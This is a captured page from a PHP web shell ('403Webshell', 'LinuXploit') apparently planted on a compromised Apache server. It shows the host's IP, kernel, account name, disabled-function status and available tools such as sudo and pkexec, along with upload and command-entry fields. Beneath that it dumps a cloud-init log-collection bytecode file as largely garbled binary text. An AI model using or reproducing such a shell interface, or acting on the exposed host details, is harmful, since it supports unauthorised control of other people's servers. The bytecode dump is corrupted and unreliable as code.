403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/cmd/devel/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/cmd/devel/__pycache__/logs.cpython-36.pyc
3

��b��@s�dZddlZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZddl
mZmZmZmZdd	gZd
ZdZddd
�Zdd�Zdd�Zdd�Zdd�Zddd�Zdd�Zdd�Zedkr�eje��dS)zGDefine 'collect-logs' utility and handler to include in cloud-init cmd.�N)�datetime)�INSTANCE_JSON_SENSITIVE_FILE)�ProcessExecutionError�subp)�tempdir)�chdir�copy�
ensure_dir�
write_filez/var/log/cloud-init.logz/var/log/cloud-init-output.logz/run/cloud-initz%/var/lib/cloud/instance/user-data.txtcCsZ|stjddd�}|jdddddd	d
�|jddd
dd�|jddddddjt�d�|S)a2Build or extend and arg parser for collect-logs utility.

    @param parser: Optional existing ArgumentParser instance representing the
        collect-logs subcommand which will be extended to support the args of
        this utility.

    @returns: ArgumentParser with proper argument configuration.
    zcollect-logsz)Collect and tar all cloud-init debug info)�prog�descriptionz	--verbosez-v�countr�	verbosityzBe more verbose.)�action�default�dest�helpz	--tarfilez-tzcloud-init.tar.gzzOThe tarfile to create containing all collected logs. Default: cloud-init.tar.gz)rrz--include-userdataz-uF�
store_true�userdatazPOptionally include user-data from {0} which could contain sensitive information.)rrrr)�argparse�ArgumentParser�add_argument�format�USER_DATA_FILE)�parser�r�/usr/lib/python3.6/logs.py�
get_parsers2	
rcCs dg}tj�dkr|jt�|S)z>Return a list of files to ignore for /run/cloud-init directoryzhook-hotplug-cmdr)�os�getuid�appendr)�curdir�filesZ
ignored_filesrrr�_copytree_rundir_ignore_filesDs
r#cCstyt|�\}}Wn@tk
rP}z$t|t|��td|d|�WYdd}~Xn Xt||�td|d|�|SdS)zCHelper which runs a command and writes output or error to filename.zcollecting %s failed.
�Nz
collected %s
)rrr
�str�_debug)�cmd�filename�msgr�out�_�errr�_write_command_output_to_fileOs"
r-cCs||krtjj|�dS)N)�sys�stderr�write)r)�levelrrrrr&\sr&cCs<tjj|�r(t||�td|d|�ntd|d|�dS)Nzcollected file: %s
r$zfile %s did not exist
�)r�path�isfilerr&)r3Zout_dirrrrr�
_collect_fileas
r5c#Cs"|r tj�dkr tjjd�dStjj|�}tj�j	�j
d�}dj|�}tdd����}tjj
||�}tdd	gtjj
|d
�d|�}tdd
ddgtjj
|d�d|�}|s�|r�|nd}td|d|�tdgtjj
|d�d|�tddddgtjj
|d�d|�xtD]}t|||��qW|�r(tt||�tjj
|d�}	t|	�tjjt��r�ytjttjj
|	d�td�WnFtjk
�r�}
z&tjjd�tjjt|
�d�WYd d }
~
XnXtd!td|�ntd"td|�t|��"td#d$||j|d%d&�g�Wd QRXWd QRXtjjd'|�dS)(z�Collect all cloud-init logs and tar them up into the provided tarfile.

    @param tarfile: The path of the tar-gzipped file to create.
    @param include_userdata: Boolean, true means include user-data.
    rzMTo include userdata, root user is required. Try sudo cloud-init collect-logs
r$z%Y-%m-%dzcloud-init-logs-{0}z/tmp)�dirz
cloud-initz	--version�versionzcloud-init --versionz
dpkg-queryz--showz-f=${Version}
zdpkg-versionzdpkg versionz
not-availablez!collected cloud-init version: %s
Zdmesgz	dmesg.txtzdmesg outputZ
journalctlz--boot=0z-oz
short-precisezjournal.txtzsystemd journal of current bootZrun)�ignorez(Failed collecting file(s) due to error:
�
Nzcollected dir %s
zdirectory '%s' did not exist
ZtarZczvf�/�z	Wrote %s
)rrr.r/r0r3�abspathrZutcnow�dateZstrftimerr�joinr-r&�CLOUDINIT_LOGSr5rr	�exists�CLOUDINIT_RUN_DIR�shutilZcopytreer#�Errorr%rr�replace)�tarfileZinclude_userdatarr=Zlog_dirZtmp_dirr7Zdpkg_ver�logZrun_dirr,rrr�collect_logsisp



&
0rGcCst|j|j|j�S)z:Handle calls to 'cloud-init collect-logs' as a subcommand.)rGrErr)�name�argsrrr�handle_collect_logs_args�srJcCst�}td|j��S)z4Tool to collect and tar all cloud-init related logs.zcollect-logs)rrJ�
parse_args)rrrr�main�srL�__main__)N)r)�__doc__rrrBr.rZcloudinit.sourcesrZcloudinit.subprrZcloudinit.temp_utilsrZcloudinit.utilrrr	r
r?rArrr#r-r&r5rGrJrL�__name__�exitrrrr�<module>s,
-

J

Youez - 2016 - github.com/yon3zu
LinuXploit